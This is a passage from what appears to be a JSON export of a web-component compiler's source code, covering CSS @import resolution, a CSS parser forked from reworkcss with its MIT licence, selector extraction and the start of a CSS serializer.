styleText: concatStyleText,\n  };\n\n  /**\n   * Resolve and flatten all imports for a given CSS file, recursively crawling\n   * the tree of imports to resolve them all and produce a concatenated\n   * stylesheet. We declare this function here, within `parseCssImports`, in order\n   * to get access to `compilerCtx`, `buildCtx`, and more without having to pass\n   * a whole bunch of arguments.\n   *\n   * @param srcFilePath the source filepath\n   * @param resolvedFilePath the resolved filepath\n   * @param styleText style text we start with*\n   * @returns concatenated styles assembled from the various imported stylesheets\n   */\n  async function resolveAndFlattenImports(\n    srcFilePath: string,\n    resolvedFilePath: string,\n    styleText: string,\n  ): Promise<string> {\n    // if we've seen this path before we early return\n    if (resolvedFilePaths.has(resolvedFilePath)) {\n      return styleText;\n    }\n    resolvedFilePaths.add(resolvedFilePath);\n\n    if (styleDocs != null) {\n      parseStyleDocs(styleDocs, styleText);\n    }\n\n    const cssImports = await getCssImports(config, compilerCtx, buildCtx, resolvedFilePath, styleText);\n    if (cssImports.length === 0) {\n      return styleText;\n    }\n\n    // add any newly-found imports to the 'global' list\n    for (const cssImport of cssImports) {\n      if (!allCssImports.includes(cssImport.filePath)) {\n        allCssImports.push(cssImport.filePath);\n      }\n    }\n\n    // Recur down the tree of CSS imports, resolving all the imports in\n    // the children of the current file (and, by extension, in their children\n    // and so on)\n    await Promise.all(\n      cssImports.map(async (cssImportData) => {\n        cssImportData.styleText = await loadStyleText(compilerCtx, cssImportData);\n\n        if (typeof cssImportData.styleText === 'string') {\n          cssImportData.styleText = await resolveAndFlattenImports(\n            cssImportData.filePath,\n            cssImportData.filePath,\n            cssImportData.styleText,\n          );\n        } else {\n          // we had some error loading the file from disk, so write a diagnostic\n          const err = buildError(buildCtx.diagnostics);\n          err.messageText = `Unable to read css import: ${cssImportData.srcImport}`;\n          err.absFilePath = srcFilePath;\n        }\n      }),\n    );\n\n    // replace import statements with the actual CSS code in children modules\n    return replaceImportDeclarations(styleText, cssImports, isCssEntry);\n  }\n};\n\n/**\n * Interface describing the return value of `parseCSSImports`\n */\ninterface ParseCSSReturn {\n  /**\n   * An array of filepaths to the imported CSS files\n   */\n  imports: string[];\n  /**\n   * The actual CSS text itself\n   */\n  styleText: string;\n}\n\n/**\n * Load the style text for a CSS file from disk, based on the filepaths set in\n * our import data.\n *\n * @param compilerCtx the compiler context\n * @param cssImportData the import data for the file we want to read\n * @returns the contents of the file, if it can be read without error\n */\nconst loadStyleText = async (compilerCtx: d.CompilerCtx, cssImportData: d.CssImportData): Promise<string | null> => {\n  let styleText: string | null = null;\n\n  try {\n    styleText = await compilerCtx.fs.readFile(cssImportData.filePath);\n  } catch (e) {\n    if (cssImportData.altFilePath) {\n      try {\n        styleText = await compilerCtx.fs.readFile(cssImportData.filePath);\n      } catch (e) {}\n    }\n  }\n\n  return styleText;\n};\n\n/**\n * Get a manifest of all the CSS imports in a given CSS file\n *\n * @param config the current config\n * @param compilerCtx the compiler context (we need the filesystem)\n * @param buildCtx the build context, in case we need to set a diagnostic\n * @param filePath the filepath we're working with\n * @param styleText the CSS for which we want to retrieve import data\n * @returns a Promise wrapping a list of CSS import data objects\n */\nexport const getCssImports = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  buildCtx: d.BuildCtx,\n  filePath: string,\n  styleText: string,\n) => {\n  const imports: d.CssImportData[] = [];\n\n  if (!styleText.includes('@import')) {\n    // no @import at all, so don't bother\n    return imports;\n  }\n  styleText = stripCssComments(styleText);\n\n  const dir = dirname(filePath);\n  const importeeExt = (filePath.split('.').pop() ?? '').toLowerCase();\n\n  let r: RegExpExecArray | null;\n  const IMPORT_RE = /@import\\s+(?:url\\()?\\s*(['\"]?)([^'\"\\)]+)\\1\\s*\\)?([^;]*);?/gi;\n\n  while ((r = IMPORT_RE.exec(styleText))) {\n    const urlMatch = r[2].trim();\n    const modifiers = r[3].trim();\n\n    const cssImportData: d.CssImportData = {\n      srcImport: r[0],\n      url: urlMatch,\n      filePath: '',\n      modifiers: modifiers || undefined,\n    };\n\n    if (!isLocalCssImport(cssImportData.srcImport)) {\n      // do nothing for @import url(http://external.css)\n      config.logger.debug(`did not resolve external css @import: ${cssImportData.srcImport}`);\n      continue;\n    }\n\n    if (isCssNodeModule(cssImportData.url)) {\n      // node resolve this path cuz it starts with ~\n      await resolveCssNodeModule(config, compilerCtx, buildCtx.diagnostics, filePath, cssImportData);\n    } else if (isAbsolute(cssImportData.url)) {\n      // absolute path already\n      cssImportData.filePath = normalizePath(cssImportData.url);\n    } else {\n      // relative path\n      cssImportData.filePath = normalizePath(join(dir, cssImportData.url));\n    }\n\n    if (importeeExt !== 'css' && !cssImportData.filePath.toLowerCase().endsWith('.css')) {\n      cssImportData.filePath += `.${importeeExt}`;\n\n      if (importeeExt === 'scss') {\n        const fileName = '_' + basename(cssImportData.filePath);\n        const dirPath = dirname(cssImportData.filePath);\n\n        cssImportData.altFilePath = normalizePath(join(dirPath, fileName));\n      }\n    }\n\n    // we set `filePath` to `\"\"` when the object is created above, so if it\n    // hasn't been changed in the intervening conditionals then we didn't resolve\n    // a filepath for it.\n    if (cssImportData.filePath !== '') {\n      imports.push(cssImportData);\n    }\n  }\n\n  return imports;\n};\n\nexport const isCssNodeModule = (url: string) => url.startsWith('~');\n\nexport const resolveCssNodeModule = async (\n  config: d.ValidatedConfig,\n  compilerCtx: d.CompilerCtx,\n  diagnostics: d.Diagnostic[],\n  filePath: string,\n  cssImportData: d.CssImportData,\n) => {\n  try {\n    const m = getModuleId(cssImportData.url);\n    const resolved = await resolveModuleIdAsync(config.sys, compilerCtx.fs, {\n      moduleId: m.moduleId,\n      containingFile: filePath,\n      exts: [],\n      packageFilter: (pkg) => {\n        if (m.filePath !== '') {\n          pkg.main = m.filePath;\n        }\n        return pkg;\n      },\n    });\n\n    cssImportData.filePath = resolved.resolveId;\n    // Preserve modifiers (layer, supports, media queries) in the updated import\n    const modifiers = cssImportData.modifiers ? ` ${cssImportData.modifiers}` : '';\n    cssImportData.updatedImport = `@import \"${cssImportData.filePath}\"${modifiers};`;\n  } catch (e) {\n    const d = buildError(diagnostics);\n    d.messageText = `Unable to resolve node module for CSS @import: ${cssImportData.url}`;\n    d.absFilePath = filePath;\n  }\n};\n\nexport const isLocalCssImport = (srcImport: string) => {\n  srcImport = srcImport.toLowerCase();\n\n  if (srcImport.includes('url(')) {\n    srcImport = srcImport.replace(/\\\"/g, '');\n    srcImport = srcImport.replace(/\\'/g, '');\n    srcImport = srcImport.replace(/\\s/g, '');\n    if (srcImport.includes('url(http') || srcImport.includes('url(//')) {\n      return false;\n    }\n  }\n\n  return true;\n};\n\n/**\n * Replace import declarations (like '@import \"foobar\";') with the actual CSS\n * written in the imported module, allowing us to produce a single file from a\n * tree of stylesheets.\n *\n * @param styleText the text within which we want to replace @import statements\n * @param cssImports information about imported modules\n * @param isCssEntry whether we're dealing with a CSS file\n * @returns an updated string with the requisite substitutions\n */\nexport const replaceImportDeclarations = (styleText: string, cssImports: d.CssImportData[], isCssEntry: boolean) => {\n  for (const cssImport of cssImports) {\n    if (isCssEntry) {\n      if (typeof cssImport.styleText === 'string') {\n        // For CSS entries, inline the imported CSS content\n        // If there are modifiers (layer, supports, media queries), wrap the content appropriately\n        let replacement = cssImport.styleText;\n\n        if (cssImport.modifiers) {\n          let modifiers = cssImport.modifiers;\n          let layerName = '';\n          let supportsCondition = '';\n          let mediaQuery = '';\n\n          // Extract layer() - innermost wrapper\n          const layerMatch = modifiers.match(/layer\\(([^)]+)\\)/);\n          if (layerMatch) {\n            layerName = layerMatch[1].trim();\n            modifiers = modifiers.replace(/layer\\([^)]+\\)/, '').trim();\n          }\n\n          // Extract supports() - handles nested parentheses with a more robust approach\n          // This regex matches supports() and captures content with balanced parentheses\n          let depth = 0;\n          let startIdx = -1;\n          let endIdx = -1;\n          const supportsIdx = modifiers.indexOf('supports(');\n\n          if (supportsIdx !== -1) {\n            startIdx = supportsIdx + 9; // length of 'supports('\n            for (let i = startIdx; i < modifiers.length; i++) {\n              if (modifiers[i] === '(') depth++;\n              if (modifiers[i] === ')') {\n                if (depth === 0) {\n                  endIdx = i;\n                  break;\n                }\n                depth--;\n              }\n            }\n\n            if (endIdx !== -1) {\n              supportsCondition = modifiers.substring(startIdx, endIdx).trim();\n              modifiers = modifiers.substring(0, supportsIdx) + modifiers.substring(endIdx + 1);\n              modifiers = modifiers.trim();\n            }\n          }\n\n          // Anything remaining should be media queries\n          mediaQuery = modifiers.trim();\n\n          // Apply wrappers in correct order: layer (innermost) -> media -> supports (outermost)\n          if (layerName) {\n            replacement = `@layer ${layerName} {\\n${replacement}\\n}`;\n          }\n\n          if (mediaQuery) {\n            replacement = `@media ${mediaQuery} {\\n${replacement}\\n}`;\n          }\n\n          if (supportsCondition) {\n            replacement = `@supports (${supportsCondition}) {\\n${replacement}\\n}`;\n          }\n        }\n\n        styleText = styleText.replace(cssImport.srcImport, replacement);\n      }\n    } else if (typeof cssImport.updatedImport === 'string') {\n      styleText = styleText.replace(cssImport.srcImport, cssImport.updatedImport);\n    }\n  }\n  return styleText;\n};\n"
  },
  {
    "path": "src/compiler/style/css-parser/css-parse-declarations.ts",
    "content": "import type * as d from '../../../declarations';\nimport { UsedSelectors } from './used-selectors';\n\nexport interface ParseCssResults {\n  diagnostics: d.Diagnostic[];\n  stylesheet: CssNode;\n}\n\nexport const enum CssNodeType {\n  Charset,\n  Comment,\n  CustomMedia,\n  Document,\n  Declaration,\n  FontFace,\n  Host,\n  Import,\n  KeyFrames,\n  KeyFrame,\n  Media,\n  Container,\n  Namespace,\n  Page,\n  Rule,\n  StyleSheet,\n  Supports,\n}\n\nexport interface CssNode {\n  type?: CssNodeType;\n  charset?: string;\n  comment?: string;\n  declarations?: CssNode[] | null;\n  document?: string;\n  import?: string;\n  keyframes?: CssNode[] | null;\n  media?: string;\n  name?: string;\n  namespace?: string;\n  page?: string;\n  position?: CssParsePosition;\n  property?: string;\n  rules?: CssNode[] | null;\n  selectors?: string[];\n  source?: string;\n  stylesheet?: CssNode | null;\n  supports?: string;\n  value?: string;\n  values?: string[];\n  vendor?: string;\n}\n\nexport interface CssParsePosition {\n  start: any;\n  end: any;\n  source: any;\n  content: string;\n}\n\nexport interface SerializeCssOptions {\n  usedSelectors?: UsedSelectors;\n}\n\nexport interface SerializeOpts extends SerializeCssOptions {\n  hasUsedAttrs: boolean;\n  hasUsedClassNames: boolean;\n  hasUsedIds: boolean;\n  hasUsedTags: boolean;\n  usedSelectors: UsedSelectors | null;\n}\n"
  },
  {
    "path": "src/compiler/style/css-parser/get-css-selectors.ts",
    "content": "export const getCssSelectors = (sel: string) => {\n  // reusing global SELECTORS since this is a synchronous operation\n  SELECTORS.all.length =\n    SELECTORS.tags.length =\n    SELECTORS.classNames.length =\n    SELECTORS.ids.length =\n    SELECTORS.attrs.length =\n      0;\n\n  sel = sel\n    .replace(/\\./g, ' .')\n    .replace(/\\#/g, ' #')\n    .replace(/\\[/g, ' [')\n    .replace(/\\>/g, ' > ')\n    .replace(/\\+/g, ' + ')\n    .replace(/\\~/g, ' ~ ')\n    .replace(/\\*/g, ' * ')\n    .replace(/\\:not\\((.*?)\\)/g, ' ');\n\n  const items = sel.split(' ');\n\n  for (let i = 0, l = items.length; i < l; i++) {\n    items[i] = items[i].split(':')[0];\n\n    if (items[i].length === 0) continue;\n\n    if (items[i].charAt(0) === '.') {\n      SELECTORS.classNames.push(items[i].slice(1));\n    } else if (items[i].charAt(0) === '#') {\n      SELECTORS.ids.push(items[i].slice(1));\n    } else if (items[i].charAt(0) === '[') {\n      items[i] = items[i].slice(1).split('=')[0].split(']')[0].trim();\n      SELECTORS.attrs.push(items[i].toLowerCase());\n    } else if (/[a-z]/g.test(items[i].charAt(0))) {\n      SELECTORS.tags.push(items[i].toLowerCase());\n    }\n  }\n\n  SELECTORS.classNames = SELECTORS.classNames.sort((a, b) => {\n    if (a.length < b.length) return -1;\n    if (a.length > b.length) return 1;\n    return 0;\n  });\n\n  return SELECTORS;\n};\n\nconst SELECTORS: { all: string[]; tags: string[]; classNames: string[]; ids: string[]; attrs: string[] } = {\n  all: [],\n  tags: [],\n  classNames: [],\n  ids: [],\n  attrs: [],\n};\n"
  },
  {
    "path": "src/compiler/style/css-parser/parse-css.ts",
    "content": "import type * as d from '../../../declarations';\nimport { type CssNode, CssNodeType, type CssParsePosition, type ParseCssResults } from './css-parse-declarations';\n\n// (note - We can't use something like postcss / lightningCSS here\n// because it would be bundled in the user's hydrate-script)\n\n/**\n * Parses CSS string input into an AST representation.\n * Used for minification, finding & resolving URLs and during SSR / prerendering, removing unused selectors.\n *\n * @param css The CSS string to parse\n * @param filePath Optional file path for diagnostic reporting\n * @returns The results of the CSS parsing, including the AST and any diagnostics\n */\nexport const parseCss = (css: string, filePath?: string): ParseCssResults => {\n  let lineno = 1;\n  let column = 1;\n\n  const diagnostics: d.Diagnostic[] = [];\n\n  const updatePosition = (str: string) => {\n    const lines = str.match(/\\n/g);\n    if (lines) lineno += lines.length;\n    const i = str.lastIndexOf('\\n');\n    column = ~i ? str.length - i : column + str.length;\n  };\n\n  const position = () => {\n    const start = { line: lineno, column: column };\n\n    return (node: CssNode) => {\n      node.position = new ParsePosition(start);\n      whitespace();\n      return node;\n    };\n  };\n\n  const error = (msg: string): null => {\n    const srcLines = css.split('\\n');\n\n    const d: d.Diagnostic = {\n      level: 'error',\n      type: 'css',\n      language: 'css',\n      header: 'CSS Parse',\n      messageText: msg,\n      absFilePath: filePath,\n      lines: [\n        {\n          lineIndex: lineno - 1,\n          lineNumber: lineno,\n          errorCharStart: column,\n          text: css[lineno - 1],\n        },\n      ],\n    };\n\n    if (lineno > 1) {\n      const previousLine: d.PrintLine = {\n        lineIndex: lineno - 1,\n        lineNumber: lineno - 1,\n        text: css[lineno - 2],\n        errorCharStart: -1,\n        errorLength: -1,\n      };\n      d.lines.unshift(previousLine);\n    }\n\n    if (lineno + 2 < srcLines.length) {\n      const nextLine: d.PrintLine = {\n        lineIndex: lineno,\n        lineNumber: lineno + 1,\n        text: srcLines[lineno],\n        errorCharStart: -1,\n        errorLength: -1,\n      };\n\n      d.lines.push(nextLine);\n    }\n\n    diagnostics.push(d);\n\n    return null;\n  };\n\n  const stylesheet = (): CssNode => {\n    const rulesList = rules();\n\n    return {\n      type: CssNodeType.StyleSheet,\n      stylesheet: {\n        source: filePath,\n        rules: rulesList,\n      },\n    };\n  };\n\n  const open = () => match(/^{\\s*/);\n  const close = () => match(/^}/);\n\n  const match = (re: any) => {\n    const m = re.exec(css);\n    if (!m) return;\n    const str = m[0];\n    updatePosition(str);\n    css = css.slice(str.length);\n    return m;\n  };\n\n  const rules = () => {\n    let node: CssNode | void;\n    const rules: CssNode[] = [];\n\n    whitespace();\n    comments(rules);\n\n    while (css.length && css.charAt(0) !== '}' && (node = atrule() || rule())) {\n      rules.push(node);\n      comments(rules);\n    }\n    return rules;\n  };\n\n  /**\n   * Parse whitespace.\n   */\n\n  const whitespace = () => match(/^\\s*/);\n\n  const comments = (rules?: CssNode[]) => {\n    let c;\n    rules = rules || [];\n    while ((c = comment())) {\n      rules.push(c);\n    }\n    return rules;\n  };\n\n  const comment = () => {\n    const pos = position();\n    if ('/' !== css.charAt(0) || '*' !== css.charAt(1)) return null;\n\n    let i = 2;\n    while ('' !== css.charAt(i) && ('*' !== css.charAt(i) || '/' !== css.charAt(i + 1))) ++i;\n    i += 2;\n\n    if ('' === css.charAt(i - 1)) {\n      return error('End of comment missing');\n    }\n\n    const comment = css.slice(2, i - 2);\n    column += 2;\n    updatePosition(comment);\n    css = css.slice(i);\n    column += 2;\n\n    return pos({\n      type: CssNodeType.Comment,\n      comment,\n    });\n  };\n\n  const selector = () => {\n    const m: any = match(/^([^{]+)/);\n    if (!m) return null;\n\n    return trim(m[0])\n      .replace(/\\/\\*([^*]|[\\r\\n]|(\\*+([^*/]|[\\r\\n])))*\\*\\/+/g, '')\n      .replace(/\"(?:\\\\\"|[^\"])*\"|'(?:\\\\'|[^'])*'/g, function (m) {\n        return m.replace(/,/g, '\\u200C');\n      })\n      .split(/\\s*(?![^(]*\\)),\\s*/)\n      .map(function (s) {\n        return s.replace(/\\u200C/g, ',');\n      });\n  };\n\n  const declaration = () => {\n    const pos = position();\n\n    // prop\n    let prop = match(/^(\\*?[-#\\/\\*\\\\\\w]+(\\[[0-9a-z_-]+\\])?)\\s*/);\n    if (!prop) return null;\n    prop = trim(prop[0]);\n\n    // :\n    if (!match(/^:\\s*/)) return error(`property missing ':'`);\n\n    // val\n    const val = match(/^((?:'(?:\\\\'|.)*?'|\"(?:\\\\\"|.)*?\"|\\([^\\)]*?\\)|[^};])+)/);\n\n    const ret = pos({\n      type: CssNodeType.Declaration,\n      property: prop.replace(commentre, ''),\n      value: val ? trim(val[0]).replace(commentre, '') : '',\n    });\n\n    match(/^[;\\s]*/);\n\n    return ret;\n  };\n\n  const declarations = () => {\n    const decls: CssNode[] = [];\n\n    if (!open()) return error(`missing '{'`);\n    comments(decls);\n\n    // declarations\n    let decl;\n    while ((decl = declaration())) {\n      decls.push(decl);\n      comments(decls);\n    }\n\n    if (!close()) return error(`missing '}'`);\n    return decls;\n  };\n\n  const keyframe = () => {\n    let m;\n    const values: string[] = [];\n    const pos = position();\n\n    while ((m = match(/^((\\d+\\.\\d+|\\.\\d+|\\d+)%?|[a-z]+)\\s*/))) {\n      values.push(m[1]);\n      match(/^,\\s*/);\n    }\n\n    if (!values.length) return null;\n\n    return pos({\n      type: CssNodeType.KeyFrame,\n      values,\n      declarations: declarations(),\n    });\n  };\n\n  const atkeyframes = () => {\n    const pos = position();\n    let m = match(/^@([-\\w]+)?keyframes\\s*/);\n    if (!m) return null;\n\n    const vendor = m[1];\n\n    // identifier\n    m = match(/^([-\\w]+)\\s*/);\n    if (!m) return error(`@keyframes missing name`);\n    const name = m[1];\n\n    if (!open()) return error(`@keyframes missing '{'`);\n\n    let frame: CssNode;\n    let frames = comments();\n    while ((frame = keyframe())) {\n      frames.push(frame);\n      frames = frames.concat(comments());\n    }\n\n    if (!close()) return error(`@keyframes missing '}'`);\n\n    return pos({\n      type: CssNodeType.KeyFrames,\n      name: name,\n      vendor: vendor,\n      keyframes: frames,\n    });\n  };\n\n  const atsupports = () => {\n    const pos = position();\n    const m = match(/^@supports *([^{]+)/);\n\n    if (!m) return null;\n    const supports = trim(m[1]);\n\n    if (!open()) return error(`@supports missing '{'`);\n\n    const style = comments().concat(rules());\n\n    if (!close()) return error(`@supports missing '}'`);\n\n    return pos({\n      type: CssNodeType.Supports,\n      supports: supports,\n      rules: style,\n    });\n  };\n\n  const athost = () => {\n    const pos = position();\n    const m = match(/^@host\\s*/);\n\n    if (!m) return null;\n\n    if (!open()) return error(`@host missing '{'`);\n\n    const style = comments().concat(rules());\n\n    if (!close()) return error(`@host missing '}'`);\n\n    return pos({\n      type: CssNodeType.Host,\n      rules: style,\n    });\n  };\n\n  const atquery = (name: 'media' | 'container') => {\n    const pos = position();\n    const regex = new RegExp('^@' + name + ' *([^{]+)');\n    const m = match(regex);\n\n    if (!m) return null;\n    const media = trim(m[1]);\n\n    if (!open()) return error(`@${name} missing '{'`);\n\n    const style = comments().concat(rules());\n\n    if (!close()) return error(`@${name} missing '}'`);\n    return pos({\n      type: name === 'media' ? CssNodeType.Media : CssNodeType.Container,\n      media: media,\n      rules: style,\n    });\n  };\n\n  /**\n   * Parse nested @ rule that contains declarations instead of rules\n   */\n  const nestedAtQuery = (name: 'media' | 'container' | 'supports') => {\n    const pos = position();\n    const regex = new RegExp('^@' + name + ' *([^{]+)');\n    const m = match(regex);\n\n    if (!m) return null;\n    const media = trim(m[1]);\n\n    const decls = declarations();\n    if (!decls) return null;\n\n    return pos({\n      type: name === 'media' ? CssNodeType.Media : name === 'container' ? CssNodeType.Container : CssNodeType.Supports,\n      media: media,\n      declarations: decls,\n    });\n  };\n\n  /**\n   * Try to parse a nested at-rule (one that contains declarations, not rules)\n   */\n  const nestedAtrule = () => {\n    if (css[0] !== '@') return null;\n    return nestedAtQuery('media') || nestedAtQuery('supports') || nestedAtQuery('container');\n  };\n\n  const atcustommedia = () => {\n    const pos = position();\n    const m = match(/^@custom-media\\s+(--[^\\s]+)\\s*([^{;]+);/);\n    if (!m) return null;\n\n    return pos({\n      type: CssNodeType.CustomMedia,\n      name: trim(m[1]),\n      media: trim(m[2]),\n    });\n  };\n\n  const atpage = () => {\n    const pos = position();\n    const m = match(/^@page */);\n    if (!m) return null;\n\n    const sel = selector() || [];\n\n    if (!open()) return error(`@page missing '{'`);\n    let decls = comments();\n\n    let decl: CssNode | void;\n    while ((decl = declaration())) {\n      decls.push(decl);\n      decls = decls.concat(comments());\n    }\n\n    if (!close()) return error(`@page missing '}'`);\n\n    return pos({\n      type: CssNodeType.Page,\n      selectors: sel,\n      declarations: decls,\n    });\n  };\n\n  const atdocument = () => {\n    const pos = position();\n    const m = match(/^@([-\\w]+)?document *([^{]+)/);\n    if (!m) return null;\n\n    const vendor = trim(m[1]);\n    const doc = trim(m[2]);\n\n    if (!open()) return error(`@document missing '{'`);\n\n    const style = comments().concat(rules());\n\n    if (!close()) return error(`@document missing '}'`);\n\n    return pos({\n      type: CssNodeType.Document,\n      document: doc,\n      vendor: vendor,\n      rules: style,\n    });\n  };\n\n  const atfontface = () => {\n    const pos = position();\n    const m = match(/^@font-face\\s*/);\n    if (!m) return null;\n\n    if (!open()) return error(`@font-face missing '{'`);\n    let decls = comments();\n\n    let decl: CssNode | void;\n    while ((decl = declaration())) {\n      decls.push(decl);\n      decls = decls.concat(comments());\n    }\n\n    if (!close()) return error(`@font-face missing '}'`);\n\n    return pos({\n      type: CssNodeType.FontFace,\n      declarations: decls,\n    });\n  };\n\n  const compileAtrule = (nodeName: string, nodeType: CssNodeType) => {\n    const re = new RegExp('^@' + nodeName + '\\\\s*([^;]+);');\n    return () => {\n      const pos = position();\n      const m = match(re);\n      if (!m) return null;\n      const node: any = {\n        type: nodeType,\n      };\n      (node as any)[nodeName] = m[1].trim();\n      return pos(node);\n    };\n  };\n\n  const atimport = compileAtrule('import', CssNodeType.Import);\n\n  const atcharset = compileAtrule('charset', CssNodeType.Charset);\n\n  const atnamespace = compileAtrule('namespace', CssNodeType.Namespace);\n\n  const atrule = () => {\n    if (css[0] !== '@') return null;\n    return (\n      atkeyframes() ||\n      atquery('media') ||\n      atquery('container') ||\n      atcustommedia() ||\n      atsupports() ||\n      atimport() ||\n      atcharset() ||\n      atnamespace() ||\n      atdocument() ||\n      atpage() ||\n      athost() ||\n      atfontface()\n    );\n  };\n\n  const rule = () => {\n    const pos = position();\n    const sel = selector();\n\n    if (!sel) return error('selector missing');\n    comments();\n\n    // Parse declarations and nested rules\n    if (!open()) return error(`missing '{'`);\n\n    const decls: CssNode[] = [];\n    const nestedRules: CssNode[] = [];\n\n    comments(decls);\n\n    // Loop through the block, parsing declarations and nested rules\n    while (css.length && css.charAt(0) !== '}') {\n      // Consume any whitespace before trying to parse\n      whitespace();\n\n      // Check if we've reached the end\n      if (!css.length || css.charAt(0) === '}') {\n        break;\n      }\n\n      const nextChar = css.charAt(0);\n\n      // Check for nested at-rules first\n      if (nextChar === '@') {\n        const nestedAt = nestedAtrule();\n        if (nestedAt) {\n          nestedRules.push(nestedAt);\n          comments(nestedRules);\n          continue;\n        }\n      }\n\n      // Check if this looks like a nested rule (look ahead for '{')\n      // Nested rules can start with &, :, or be selectors (class, id, element, attribute)\n      if (nextChar === '&' || nextChar === ':' || /[a-zA-Z\\.\\#\\[]/.test(nextChar)) {\n        // Look ahead to see if there's a '{' before a declaration-style ':'\n        // For selectors starting with '&' or ':', we need special handling\n        let hasOpenBrace = false;\n        if (nextChar === '&' || nextChar === ':') {\n          // These definitely start selectors, look for '{'\n          const lookAhead = css.match(/^[^{}]+/);\n          hasOpenBrace = lookAhead && css[lookAhead[0].length] === '{';\n        } else {\n          // For other starts, check if this is a selector (not a declaration)\n          // A selector will have a '{' relatively soon without a declaration-style ':' first\n          // Match up to ';' or '{', whichever comes first\n          const lookAhead = css.match(/^[^{};]+/);\n          if (lookAhead) {\n            const nextSigChar = css[lookAhead[0].length];\n            // If the next significant character is '{', this is a nested rule\n            // If it's ';', this is likely a declaration\n            hasOpenBrace = nextSigChar === '{';\n          }\n        }\n\n        if (hasOpenBrace) {\n          // This is a nested rule\n          const nestedRule = rule();\n          if (nestedRule) {\n            nestedRules.push(nestedRule);\n            comments(nestedRules);\n            continue;\n          }\n        }\n      }\n\n      // Try to parse as a declaration\n      const decl = declaration();\n      if (decl) {\n        decls.push(decl);\n        comments(decls);\n        continue;\n      }\n\n      // If we couldn't parse either, we might be at the end or have invalid CSS\n      break;\n    }\n\n    if (!close()) return error(`missing '}'`);\n\n    return pos({\n      type: CssNodeType.Rule,\n      selectors: sel,\n      declarations: decls,\n      rules: nestedRules.length > 0 ? nestedRules : null,\n    });\n  };\n\n  class ParsePosition implements CssParsePosition {\n    start: any;\n    end: any;\n    source: any;\n    content: string;\n\n    constructor(start: any) {\n      this.start = start;\n      this.end = { line: lineno, column: column };\n      this.source = filePath;\n    }\n  }\n  ParsePosition.prototype.content = css;\n\n  return {\n    diagnostics,\n    ...addParent(stylesheet()),\n  };\n};\n\nconst trim = (str: string) => (str ? str.trim() : '');\n\n/**\n * Adds non-enumerable parent node reference to each node.\n */\n\nconst addParent = (obj?: any, parent?: any) => {\n  const isNode = obj && typeof obj.type === 'string';\n  const childParent = isNode ? obj : parent;\n\n  for (const k in obj) {\n    const value = obj[k];\n    if (Array.isArray(value)) {\n      value.forEach(function (v) {\n        addParent(v, childParent);\n      });\n    } else if (value && typeof value === 'object') {\n      addParent(value, childParent);\n    }\n  }\n\n  if (isNode) {\n    Object.defineProperty(obj, 'parent', {\n      configurable: true,\n      writable: true,\n      enumerable: false,\n      value: parent || null,\n    });\n  }\n\n  return obj;\n};\n\n// http://www.w3.org/TR/CSS21/grammar.html\n// https://github.com/visionmedia/css-parse/pull/49#issuecomment-30088027\nconst commentre = /\\/\\*[^*]*\\*+([^/*][^*]*\\*+)*\\//g;\n"
  },
  {
    "path": "src/compiler/style/css-parser/readme.md",
    "content": "Forked from https://github.com/reworkcss/css\nPorted to ESM and Typed\nModified so to remove selectors that are not used in HTML\n\n(The MIT License)\n\nCopyright (c) 2012 TJ Holowaychuk <tj@vision-media.ca>\n\nPermission is hereby granted, free of charge, to any person obtaining a copy of this software and associated documentation files (the 'Software'), to deal in the Software without restriction, including without limitation the rights to use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of the Software, and to permit persons to whom the Software is furnished to do so, subject to the following conditions:\n\nThe above copyright notice and this permission notice shall be included in all copies or substantial portions of the Software.\n\nTHE SOFTWARE IS PROVIDED 'AS IS', WITHOUT WARRANTY OF ANY KIND, EXPRESS OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.\n"
  },
  {
    "path": "src/compiler/style/css-parser/serialize-css.ts",
    "content": "import { CssNode, CssNodeType, SerializeCssOptions, SerializeOpts } from './css-parse-declarations';\nimport { getCssSelectors } from './get-css-selectors';\n\n/**\n * Serializes CSS AST back into a minified CSS string,\n * possibly filtering by used selectors (used during SSR / prerendering)\n *\n * @param stylesheet The CSS AST to serialize.\n * @param serializeOpts Options for serialization, including used selectors for filtering.\n * @returns The serialized CSS string.\n */\nexport const serializeCss = (stylesheet: CssNode, serializeOpts: SerializeCssOptions) => {\n  const usedSelectors = serializeOpts.usedSelectors || null;\n  const opts: SerializeOpts = {\n    usedSelectors: usedSelectors || null,\n    hasUsedAttrs: !!usedSelectors && usedSelectors.attrs.size > 0,\n    hasUsedClassNames: !!usedSelectors && usedSelectors.classNames.size > 0,\n    hasUsedIds: !!usedSelectors && usedSelectors.ids.size > 0,\n    hasUsedTags: !!usedSelectors && usedSelectors.tags.size > 0,\n  };\n\n  const rules = stylesheet.rules;\n\n  if (!rules) {\n    return '';\n  }\n  const rulesLen = rules.length;\n  const out: string[] = [];\n\n  for (let i = 0; i < rulesLen; i++) {\n    out.push(serializeCssVisitNode(opts, rules[i], i, rulesLen));\n  }\n\n  return out.join('');\n};\n\nconst serializeCssVisitNode = (opts: SerializeOpts, node: CssNode, index: number, len: number) => {\n  const nodeType = node.type;\n  if (nodeType === CssNodeType.Declaration) {\n    return serializeCssDeclaration(node, index, len);\n  }\n  if (nodeType === CssNodeType.Rule) {\n    return serializeCssRule(opts, node);\n  }\n  if (nodeType === CssNodeType.Comment) {\n    if (node.comment?.[0] === '!') {\n      return `/*${node.comment}*/`;\n    } else {\n      return '';\n    }\n  }\n  if (nodeType === CssNodeType.Media) {\n    return serializeCssMedia(opts, node);\n  }\n  if (nodeType === CssNodeType.Container) {\n    return serializeCssContainer(opts, node);\n  }\n  if (nodeType === CssNodeType.KeyFrames) {\n    return serializeCssKeyframes(opts, node);\n  }\n  if (nodeType === CssNodeType.KeyFrame) {\n    return serializeCssKeyframe(opts, node);\n  }\n  if (nodeType === CssNodeType.FontFace) {\n    return serializeCssFontFace(opts, node);\n  }\n  if (nodeType === CssNodeType.Supports) {\n    return serializeCssSupports(opts, node);\n  }\n  if (nodeType === CssNodeType.Import) {\n    return '@import ' + node.import + ';';\n  }\n  if (nodeType === CssNodeType.Charset) {\n    return '@charset ' + node.charset + 